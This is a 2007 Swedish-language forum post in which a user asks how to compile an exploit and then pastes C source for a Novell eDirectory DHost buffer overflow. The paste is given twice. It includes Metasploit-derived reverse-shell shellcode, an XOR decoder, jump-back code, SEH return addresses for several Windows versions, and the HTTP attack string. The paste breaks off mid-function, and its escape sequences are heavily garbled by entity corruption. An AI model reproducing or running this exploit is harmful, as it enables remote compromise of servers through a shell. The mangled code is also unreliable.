1
exploit -> Source code (komplimering?
Postat av pl-54732 den 30 Maj 2007, 21:35
9 kommentarer · 148 träffar
Detta krävs kunskap, därför frågar jag om någon vet hur man gör en source till denna exploiten (Ni behöver inte läsa igenom)
*/
#include
#include
#include
#include
#include
#include
#include
#define BUFFSIZE 1000 // Buffer size
#define DEADRET "\\\\xde\& #92;\\xc0\\ 2;\xad\\\\ xde" // this address cause the exception to be called
int banner();
int usage(char *filename);
int inject(char *port, char *ip);
int remote_connect( char* ip, unsigned short port );
char attack[] =
"GET /nds HTTP/1.1\\\\r& #92;\\\n"
"Host: %s\\\\r\ 92;\\n\\\& #92;r\\\\n";
/* win32_reverse - EXITFUNC=seh Size=312 Encoder=Pex http://metasploit.com */
char shellcode[] =
"\\\\x29\ ;\\\xc9\\& #92;\x83\\\ 2;xe9\\\\xb8 92;\\\xd9\\ ;\\xee\\\& #92;xd9\\\\x74 \\\\x24\ 92;\\xf4\\\ ;\x5b\\\\x 81\\\\x73\ \\\x13\\ 92;\x3f"
"\\\\x61\ ;\\\x88\\& #92;\x6f\\\ 2;x83\\\\xeb 92;\\\xfc\\ ;\\xe2\\\& #92;xf4\\\\xc3 \\\\x0b\ 92;\\x63\\\ ;\x22\\\\x d7\\\\x98\ \\\x77\\ 92;\x90"
"\\\\xc0\ ;\\\x01\\& #92;\x03\\\ 2;x03\\\\x1b 92;\\\x45\\ ;\\x03\\\& #92;x2a\\\\x03 \\\\xea\ 92;\\xf4\\\ ;\x6a\\\\x 47\\\\x60\ \\\x67\\ 92;\xe4"
"\\\\x70\ ;\\\x79\\& #92;\x03\\\ 2;x30\\\\x1f 92;\\\x60\\ ;\\x63\\\& #92;x26\\\\xb4 \\\\x55\ 92;\\x03\\\ ;\x6e\\\\x d1\\\\x50\ \\\x48\\ 92;\xf6"
"\\\\x93\ ;\\\xe5\\& #92;\x48\\\ 2;x1b\\\\x38 92;\\\xa0\\ ;\\x42\\\& #92;x62\\\\x3e \\\\xa3\ 92;\\x63\\\ ;\x9b\\\\x 04\\\\x35\ \\\xac\\ 92;\x47"
"\\\\x4a\ ;\\\x84\\& #92;\x03\\\ 2;x30\\\\x1b 92;\\\x60\\ ;\\x63\\\& #92;x09\\\\xb4 \\\\x6d\ 92;\\xc3\\\ ;\xe4\\\\x 60\\\\x7d\ \\\x89\\ 92;\x84"
"\\\\x3c\ ;\\\x4d\\& #92;\x03\\\ 2;xe6\\\\x53 92;\\\x45\\ ;\\x94\\\& #92;x0e\\\\xfc \\\\x50\ 92;\\x53\\\ ;\x0b\\\\x b4\\\\x22\ \\\xb8\\ 92;\xe4"
"\\\\x7f\ ;\\\x6d\\& #92;\x03\\\ 2;x1f\\\\x23 92;\\\xcc\\ ;\\x03\\\& #92;x2f\\\\x37 \\\\x3f\ 92;\\xe0\\\ ;\xe1\\\\x 71\\\\x6f\ \\\x64\\ 92;\x3f"
"\\\\xc0\ ;\\\xb7\\& #92;\xee\\\ 2;x3c\\\\x59 92;\\\x09\\ ;\\xbb\\\& #92;x5d\\\\x57 \\\\x16\ 92;\\xfb\\\ ;\x5d\\\\x 60\\\\x35\ \\\x77\\ 92;\xbf"
"\\\\x57\ ;\\\xaa\\& #92;\x65\\\ 2;x93\\\\x04 92;\\\x31\\ ;\\x77\\\& #92;xb9\\\\x60 \\\\xe8\ 92;\\x6d\\\ ;\x09\\\\x be\\\\x8c\ \\\x80\\ 92;\x6d"
"\\\\x6a\ ;\\\x0b\\& #92;\x8a\\\ 2;x90\\\\xef 92;\\\x09\\ ;\\x51\\\& #92;x66\\\\xca \\\\xcc\ 92;\\xdf\\\ ;\x90\\\\x e9\\\\x32\ \\\xdb\\ 92;\x3c"
"\\\\x6c\ ;\\\x22\\& #92;\xdb\\\ 2;x2c\\\\x6c 92;\\\x9e\\ ;\\x58\\\& #92;x07\\\\x35 \\\\x61\ 92;\\x88\\\ ;\x6c\\\\x 59\\\\x09\ \\\x8c\\ 92;\x69"
"\\\\x59\ ;\\\x32\\& #92;\x01\\\ 2;x8e\\\\xaa 92;\\\x09\\ ;\\x64\\\& #92;x96\\\\x95 \\\\x01\ 92;\\xdf\\\ ;\x90\\\\x e9\\\\x0b\ \\\x98\\ 92;\x3e"
"\\\\x6a\ ;\\\x9e\\& #92;\x58\\\ 2;x09\\\\x55 92;\\\x05\\ ;\\xee\\\& #92;x07\\\\x5c \\\\x0c\ 92;\\xe2\\\ ;\x3f\\\\x 66\\\\x48\ \\\x44\\ 92;\xe6"
"\\\\xd8\ ;\\\x0b\\& #92;\xcc\\\ 2;xe6\\\\xdd 92;\\\x50\\ ;\\x48\\\& #92;x9c\\\\x95 \\\\xf4\ 92;\\x01\\\ ;\x92\\\\x c1\\\\x23\ \\\xa5\\ 92;\x91"
"\\\\x7d\ ;\\\x4d\\& #92;\x05\\\ 2;x15\\\\x07 92;\\\xca\\ ;\\x23\\\& #92;xc4\\\\x57 \\\\x13\ 92;\\x76\\\ ;\xdc\\\\x 29\\\\x9e\ \\\xfd\\ 92;\x47"
"\\\\xc0\ ;\\\xb7\\& #92;\xd3\\\ 2;x38\\\\x6d 92;\\\x30\\ ;\\xd9\\\& #92;x3e\\\\x55 \\\\x60\ 92;\\xd9\\\ ;\x3e\\\\x 6a\\\\x30\ \\\x77\\ 92;\xbf"
"\\\\x57\ ;\\\xcc\\& #92;\x51\\\ 2;x6a\\\\xf1 92;\\\x32\\ ;\\x77\\\& #92;xb9\\\\x55 \\\\x9e\ 92;\\x77\\\ ;\x58\\\\x c0\\\\xb1\ \\\xe0\\ 92;\x88"
"\\\\x46\ ;\\\xa7\\& #92;\xf1\\\ 2;x90\\\\x4a 92;\\\x65\\ ;\\x77\\\& #92;xb9\\\\xc0 \\\\x16\ 92;\\x74\\\ ;\x90\\\\x ef\\\\x09\ \\\x78\\ 92;\xe5"
"\\\\x3b\ ;\\\x3e\\& #92;\xdb\\\ 2;x90\\\\xe9 92;\\\x9e\\ ;\\x58\\\& #92;x6f";
char jmpback[]=
//22 byte xor decoder (0x55)
"\\\\xEB\ ;\\\x0F\\& #92;\x5B\\\ 2;x33\\\\xC9 92;\\\x66\\ ;\\x83\\\& #92;xE9\\\\xE0 \\\\x80\ 92;\\x33\\\ ;\x55\\\\x 43\\\\xE2\ \\\xFA\\ 92;\xEB\\\\ ;x05\\\\xE8 2;\\\xEC\\ \\xFF\\\ 92;xFF\\\\xFF"
//(20 byte jump-back code -> 256 + 256 + 64 bytes)
"\\\\x8C\ ;\\\xBB\\& #92;\x8C\\\ 2;x21\\\\x71 92;\\\xA1\\ ;\\x0C\\\& #92;xD5\\\\x94 \\\\x5F\ 92;\\xC5\\\ ;\xAB\\\\x 98\\\\xAB\ \\\x98\\ 92;\xD5\\\\ ;xBC\\\\x15 2;\\\xAA\\ \\xB4";
char jmpover[]=
// 2 bytes jump 6 bytes over - 2 bytes NOP
"\\\\xEb\ ;\\\x06\\& #92;\x90\\\ 2;x90";
struct retcodes{char *platform;unsigned long addr;} targets[]= {
{ "eDirectory MFC42U.dll", 0x5f80bbf7 },
{ "Windows NT SP 5/6" , 0x776a1082 }, // ws2help.dll pop esi, pop ebx, retn [Tnx to metasploit]
{ "Windows 2k Universal" , 0x750211a9 }, // ws2help.dll pop ebp, pop ebx, retn [Tnx to metasploit]
{ "Windows XP Universal" , 0x71abe325 }, // ws2help.dll pop ebx, pop ebp, retn [Tnx to metasploit]
{ NULL }
};
int banner() {
printf("\\\\n _______ ________ .__ _____ __ \\\\n");
printf("___ __\\\\\ 2;\\ _ \\\\\\ \\ ____ \\\\\\ \\_____ \\\\\\ \\ | |__ / | | ____ | | __ \\\\n");
printf("\\\\ 92;\\\ \\\\\\ \\/ / /_\\\\\ 2;\\ \\\\\\ \\ / \\\\\\ \\ _(__ < ______ | | \\\\\\ \\ / | |__/ ___\\\\\ 92;\\| |/ / \\\\n");
printf(" > __|_ \\\\\\ \\ \\\\n");
printf(" \\\\\\ \\/ \\\\\\ \\/ \\\\\\ \\/ \\\\\\ \\/ \\\\\\ \\/ |__| \\\\\\ \\/ \\\\\\ \\/ \\\\n\\ ;\\n");
printf("[i] Title: \\\\tNovell eDirectory DHost Buffer overflow\\\\n" );
printf("[i] Perl Code by:\\\\tFistFu XXer\\\\n");
printf("[i] Exploit by: \\\\tExpanders \\\\n\\ ;\\n");
return 0;
}
int usage(char *filename) {
int i;
printf("Usage: \\\\t%s \\\ 2;n\\\\n",file name);
printf(" \\\\t
*/
#include
#include
#include
#include
#include
#include
#include
#define BUFFSIZE 1000 // Buffer size
#define DEADRET "\\\\xde\& #92;\\xc0\\ 2;\xad\\\\ xde" // this address cause the exception to be called
int banner();
int usage(char *filename);
int inject(char *port, char *ip);
int remote_connect( char* ip, unsigned short port );
char attack[] =
"GET /nds HTTP/1.1\\\\r& #92;\\\n"
"Host: %s\\\\r\ 92;\\n\\\& #92;r\\\\n";
/* win32_reverse - EXITFUNC=seh Size=312 Encoder=Pex http://metasploit.com */
char shellcode[] =
"\\\\x29\ ;\\\xc9\\& #92;\x83\\\ 2;xe9\\\\xb8 92;\\\xd9\\ ;\\xee\\\& #92;xd9\\\\x74 \\\\x24\ 92;\\xf4\\\ ;\x5b\\\\x 81\\\\x73\ \\\x13\\ 92;\x3f"
"\\\\x61\ ;\\\x88\\& #92;\x6f\\\ 2;x83\\\\xeb 92;\\\xfc\\ ;\\xe2\\\& #92;xf4\\\\xc3 \\\\x0b\ 92;\\x63\\\ ;\x22\\\\x d7\\\\x98\ \\\x77\\ 92;\x90"
"\\\\xc0\ ;\\\x01\\& #92;\x03\\\ 2;x03\\\\x1b 92;\\\x45\\ ;\\x03\\\& #92;x2a\\\\x03 \\\\xea\ 92;\\xf4\\\ ;\x6a\\\\x 47\\\\x60\ \\\x67\\ 92;\xe4"
"\\\\x70\ ;\\\x79\\& #92;\x03\\\ 2;x30\\\\x1f 92;\\\x60\\ ;\\x63\\\& #92;x26\\\\xb4 \\\\x55\ 92;\\x03\\\ ;\x6e\\\\x d1\\\\x50\ \\\x48\\ 92;\xf6"
"\\\\x93\ ;\\\xe5\\& #92;\x48\\\ 2;x1b\\\\x38 92;\\\xa0\\ ;\\x42\\\& #92;x62\\\\x3e \\\\xa3\ 92;\\x63\\\ ;\x9b\\\\x 04\\\\x35\ \\\xac\\ 92;\x47"
"\\\\x4a\ ;\\\x84\\& #92;\x03\\\ 2;x30\\\\x1b 92;\\\x60\\ ;\\x63\\\& #92;x09\\\\xb4 \\\\x6d\ 92;\\xc3\\\ ;\xe4\\\\x 60\\\\x7d\ \\\x89\\ 92;\x84"
"\\\\x3c\ ;\\\x4d\\& #92;\x03\\\ 2;xe6\\\\x53 92;\\\x45\\ ;\\x94\\\& #92;x0e\\\\xfc \\\\x50\ 92;\\x53\\\ ;\x0b\\\\x b4\\\\x22\ \\\xb8\\ 92;\xe4"
"\\\\x7f\ ;\\\x6d\\& #92;\x03\\\ 2;x1f\\\\x23 92;\\\xcc\\ ;\\x03\\\& #92;x2f\\\\x37 \\\\x3f\ 92;\\xe0\\\ ;\xe1\\\\x 71\\\\x6f\ \\\x64\\ 92;\x3f"
"\\\\xc0\ ;\\\xb7\\& #92;\xee\\\ 2;x3c\\\\x59 92;\\\x09\\ ;\\xbb\\\& #92;x5d\\\\x57 \\\\x16\ 92;\\xfb\\\ ;\x5d\\\\x 60\\\\x35\ \\\x77\\ 92;\xbf"
"\\\\x57\ ;\\\xaa\\& #92;\x65\\\ 2;x93\\\\x04 92;\\\x31\\ ;\\x77\\\& #92;xb9\\\\x60 \\\\xe8\ 92;\\x6d\\\ ;\x09\\\\x be\\\\x8c\ \\\x80\\ 92;\x6d"
"\\\\x6a\ ;\\\x0b\\& #92;\x8a\\\ 2;x90\\\\xef 92;\\\x09\\ ;\\x51\\\& #92;x66\\\\xca \\\\xcc\ 92;\\xdf\\\ ;\x90\\\\x e9\\\\x32\ \\\xdb\\ 92;\x3c"
"\\\\x6c\ ;\\\x22\\& #92;\xdb\\\ 2;x2c\\\\x6c 92;\\\x9e\\ ;\\x58\\\& #92;x07\\\\x35 \\\\x61\ 92;\\x88\\\ ;\x6c\\\\x 59\\\\x09\ \\\x8c\\ 92;\x69"
"\\\\x59\ ;\\\x32\\& #92;\x01\\\ 2;x8e\\\\xaa 92;\\\x09\\ ;\\x64\\\& #92;x96\\\\x95 \\\\x01\ 92;\\xdf\\\ ;\x90\\\\x e9\\\\x0b\ \\\x98\\ 92;\x3e"
"\\\\x6a\ ;\\\x9e\\& #92;\x58\\\ 2;x09\\\\x55 92;\\\x05\\ ;\\xee\\\& #92;x07\\\\x5c \\\\x0c\ 92;\\xe2\\\ ;\x3f\\\\x 66\\\\x48\ \\\x44\\ 92;\xe6"
"\\\\xd8\ ;\\\x0b\\& #92;\xcc\\\ 2;xe6\\\\xdd 92;\\\x50\\ ;\\x48\\\& #92;x9c\\\\x95 \\\\xf4\ 92;\\x01\\\ ;\x92\\\\x c1\\\\x23\ \\\xa5\\ 92;\x91"
"\\\\x7d\ ;\\\x4d\\& #92;\x05\\\ 2;x15\\\\x07 92;\\\xca\\ ;\\x23\\\& #92;xc4\\\\x57 \\\\x13\ 92;\\x76\\\ ;\xdc\\\\x 29\\\\x9e\ \\\xfd\\ 92;\x47"
"\\\\xc0\ ;\\\xb7\\& #92;\xd3\\\ 2;x38\\\\x6d 92;\\\x30\\ ;\\xd9\\\& #92;x3e\\\\x55 \\\\x60\ 92;\\xd9\\\ ;\x3e\\\\x 6a\\\\x30\ \\\x77\\ 92;\xbf"
"\\\\x57\ ;\\\xcc\\& #92;\x51\\\ 2;x6a\\\\xf1 92;\\\x32\\ ;\\x77\\\& #92;xb9\\\\x55 \\\\x9e\ 92;\\x77\\\ ;\x58\\\\x c0\\\\xb1\ \\\xe0\\ 92;\x88"
"\\\\x46\ ;\\\xa7\\& #92;\xf1\\\ 2;x90\\\\x4a 92;\\\x65\\ ;\\x77\\\& #92;xb9\\\\xc0 \\\\x16\ 92;\\x74\\\ ;\x90\\\\x ef\\\\x09\ \\\x78\\ 92;\xe5"
"\\\\x3b\ ;\\\x3e\\& #92;\xdb\\\ 2;x90\\\\xe9 92;\\\x9e\\ ;\\x58\\\& #92;x6f";
char jmpback[]=
//22 byte xor decoder (0x55)
"\\\\xEB\ ;\\\x0F\\& #92;\x5B\\\ 2;x33\\\\xC9 92;\\\x66\\ ;\\x83\\\& #92;xE9\\\\xE0 \\\\x80\ 92;\\x33\\\ ;\x55\\\\x 43\\\\xE2\ \\\xFA\\ 92;\xEB\\\\ ;x05\\\\xE8 2;\\\xEC\\ \\xFF\\\ 92;xFF\\\\xFF"
//(20 byte jump-back code -> 256 + 256 + 64 bytes)
"\\\\x8C\ ;\\\xBB\\& #92;\x8C\\\ 2;x21\\\\x71 92;\\\xA1\\ ;\\x0C\\\& #92;xD5\\\\x94 \\\\x5F\ 92;\\xC5\\\ ;\xAB\\\\x 98\\\\xAB\ \\\x98\\ 92;\xD5\\\\ ;xBC\\\\x15 2;\\\xAA\\ \\xB4";
char jmpover[]=
// 2 bytes jump 6 bytes over - 2 bytes NOP
"\\\\xEb\ ;\\\x06\\& #92;\x90\\\ 2;x90";
struct retcodes{char *platform;unsigned long addr;} targets[]= {
{ "eDirectory MFC42U.dll", 0x5f80bbf7 },
{ "Windows NT SP 5/6" , 0x776a1082 }, // ws2help.dll pop esi, pop ebx, retn [Tnx to metasploit]
{ "Windows 2k Universal" , 0x750211a9 }, // ws2help.dll pop ebp, pop ebx, retn [Tnx to metasploit]
{ "Windows XP Universal" , 0x71abe325 }, // ws2help.dll pop ebx, pop ebp, retn [Tnx to metasploit]
{ NULL }
};
int banner() {
printf("\\\\n _______ ________ .__ _____ __ \\\\n");
printf("___ __\\\\\ 2;\\ _ \\\\\\ \\ ____ \\\\\\ \\_____ \\\\\\ \\ | |__ / | | ____ | | __ \\\\n");
printf("\\\\ 92;\\\ \\\\\\ \\/ / /_\\\\\ 2;\\ \\\\\\ \\ / \\\\\\ \\ _(__ < ______ | | \\\\\\ \\ / | |__/ ___\\\\\ 92;\\| |/ / \\\\n");
printf(" > __|_ \\\\\\ \\ \\\\n");
printf(" \\\\\\ \\/ \\\\\\ \\/ \\\\\\ \\/ \\\\\\ \\/ \\\\\\ \\/ |__| \\\\\\ \\/ \\\\\\ \\/ \\\\n\\ ;\\n");
printf("[i] Title: \\\\tNovell eDirectory DHost Buffer overflow\\\\n" );
printf("[i] Perl Code by:\\\\tFistFu XXer\\\\n");
printf("[i] Exploit by: \\\\tExpanders \\\\n\\ ;\\n");
return 0;
}
int usage(char *filename) {
int i;
printf("Usage: \\\\t%s \\\ 2;n\\\\n",file name);
printf(" \\\\t






